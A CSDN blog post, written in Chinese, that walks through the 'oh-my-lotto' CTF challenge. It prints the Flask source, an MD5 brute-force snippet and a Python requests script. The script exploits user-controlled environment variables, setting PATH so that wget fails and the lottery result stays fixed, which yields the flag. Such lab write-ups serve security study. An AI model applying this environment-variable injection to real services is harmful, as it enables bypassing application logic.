当前位置:网站首页>oh-my-lotto
oh-my-lotto
2022-04-23 11:11:00 【succ3】
知识点:改变环境变量绕过wget
md5爆破
import hashlib
for i in range(1000000000):
a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if a[0:6] == '0c5fbf':
print(i)
print(a)
关键是三个路由。
result路由,返回一个他给定的值,也就是我们要预测的值。
@app.route("/result", methods=['GET'])
def result():
if os.path.exists("/app/lotto_result.txt"):
lotto_result = open("/app/lotto_result.txt", 'rb').read().decode()
else:
lotto_result = ''
return render_template('result.html', message=lotto_result)
forecast路由,主要是用来上传文件。
@app.route("/forecast", methods=['GET', 'POST'])#上传文件的路由
def forecast():
message = ''
if request.method == 'GET':
return render_template('forecast.html')
elif request.method == 'POST':
if 'file' not in request.files:
message = 'Where is your forecast?'
file = request.files['file']
file.save('/app/guess/forecast.txt')
message = "OK, I get your forecast. Let's Lotto!"
return render_template('forecast.html', message=message)
lotto路由,这个是我们可以获得flag的地方,当我们预测的值和本次给定的值相同时就会返回flag。
@app.route("/lotto", methods=['GET', 'POST'])
def lotto():
message = ''
if request.method == 'GET':#如果传参是GET则转到lotto页面
return render_template('lotto.html')
elif request.method == 'POST':#如果传参是post则继续执行
flag = os.getenv('flag')#获取环境变量的值,若无则返会none,若存在则返回键值
lotto_key = request.form.get('lotto_key') or ''
lotto_value = request.form.get('lotto_value') or ''#获取表单值
try:
lotto_key = lotto_key.upper()#将小写字母转换为大写
except Exception as e:
print(e)
message = 'Lotto Error!'
return render_template('lotto.html', message=message)
if safe_check(lotto_key):
os.environ[lotto_key] = lotto_value
try:
#从内网lotto当中获得随机值
os.system('wget --content-disposition -N lotto')
if os.path.exists("/app/lotto_result.txt"):#判断文件是否存在
lotto_result = open("/app/lotto_result.txt", 'rb').read()#打开并读取
else:
lotto_result = 'result'#若文件不存在则直接赋result
if os.path.exists("/app/guess/forecast.txt"):#本地上传文件
forecast = open("/app/guess/forecast.txt", 'rb').read()
else:
forecast = 'forecast'
if forecast == lotto_result:#如果我们预测的内容和内网的lotto_result.txt内容相同则返回flag
return flag
else:
message = 'Sorry forecast failed, maybe lucky next time!'
return render_template('lotto.html', message=message)
except Exception as e:
message = 'Lotto Error!'
return render_template('lotto.html', message=message)
else:
message = 'NO NO NO, JUST LOTTO!'
return render_template('lotto.html', message=message)
步骤分三步:
1. 先访问lotto页面。
2. 再访问result页面,获得他给定的值。
3. 修改环境变量为PATH,再次访问lotto页面。
分析:
前两步是获取当前的值,但是下一次值就会改变,这样就无法拿到flag了,那我们怎么来控制使得值不变或者改变这个值呢?
第三步的作用就是可以控制内网的随机值。
原因:
可以看到我们可以控制环境变量名和值。
if safe_check(lotto_key):
os.environ[lotto_key] = lotto_value
try:
#从内网lotto当中获得随机值
os.system('wget --content-disposition -N lotto')
PATH
变量就是用于保存可以搜索的目录路径,如果待运行的程序不在当前目录,操作系统便可以去依次搜索PATH
变量变量中记录的目录,如果在这些目录中找到待运行的程序,操作系统便可以直接运行,前提是要有执行权限。
也就是说我们控制了环境变量PATH
,这样他就找不到wget命令,那么wget --content-disposition -N lotto就会报错导致程序终止,/app/lotto_result.txt
当中的内容就一直是第一次访问,随机生成的那个值了。
import requests
url = "http://127.0.0.1:8880/"
def lotto(key,value):
data = {
"lotto_key": key,
"lotto_value": value}
txt=requests.post(url + "lotto",data=data).text
print(txt)
def getResult():
txt=requests.get(url+"result").text
p=txt.split("<p>")[-1].split("</p>")[0]
print(p)
return p
lotto("","")
result= {
"file":getResult()}#获取预测值
requests.post(url + "forecast",files=result)#上传预测值
lotto("PATH","xxxx")
版权声明
本文为[succ3]所创,转载请带上原文链接,感谢
https://blog.csdn.net/shinygod/article/details/124354477
边栏推荐
猜你喜欢
The songbird document editor will be open source: starting with but not limited to markdown
Jupyter lab top ten high productivity plug-ins
R-Drop:更强大的Dropout正则方法
Visual Road (XII) detailed explanation of collection class
SVN的使用:
Visualization Road (11) detailed explanation of Matplotlib color
About the three commonly used auxiliary classes of JUC
redis优化系列(二)Redis主从原理、主从常用配置
Visual solutions to common problems (VIII) mathematical formulas
Intuitive understanding entropy
随机推荐
解决 『SunCertPathBuilderException:unable to find valid certification path to requested target』 问题
MySQL8. 0 upgraded stepping on the pit Adventure
How to use JDBC callablestatement The wasnull () method is called to check whether the value of the last out parameter is SQL null
Promise details
学习 Go 语言 0x04:《Go 语言之旅》中切片的练习题代码
Promise详解
Learn go language 0x03: understand the dependency between variables and initialization order
活动进行时! 点击链接加入直播间参与“AI真的能节能吗?”的讨论吧!
SWAT - Introduction to Samba web management tool
Cygwin 中的 rename 用法
学习 Go 语言 0x08:《Go 语言之旅》中 练习使用 error
Canvas详解
After the MySQL router is reinstalled, it reconnects to the cluster for boot - a problem that has been configured in this host before
MySQL Router重装后重新连接集群进行引导出现的——此主机中之前已配置过的问题
Database management software sqlpro for SQLite for Mac 2022.30
Mba-day6 logic - hypothetical reasoning exercises
MySQL sorting feature details
How to bind a process to a specified CPU
More reliable model art than deep learning
Intuitive understanding entropy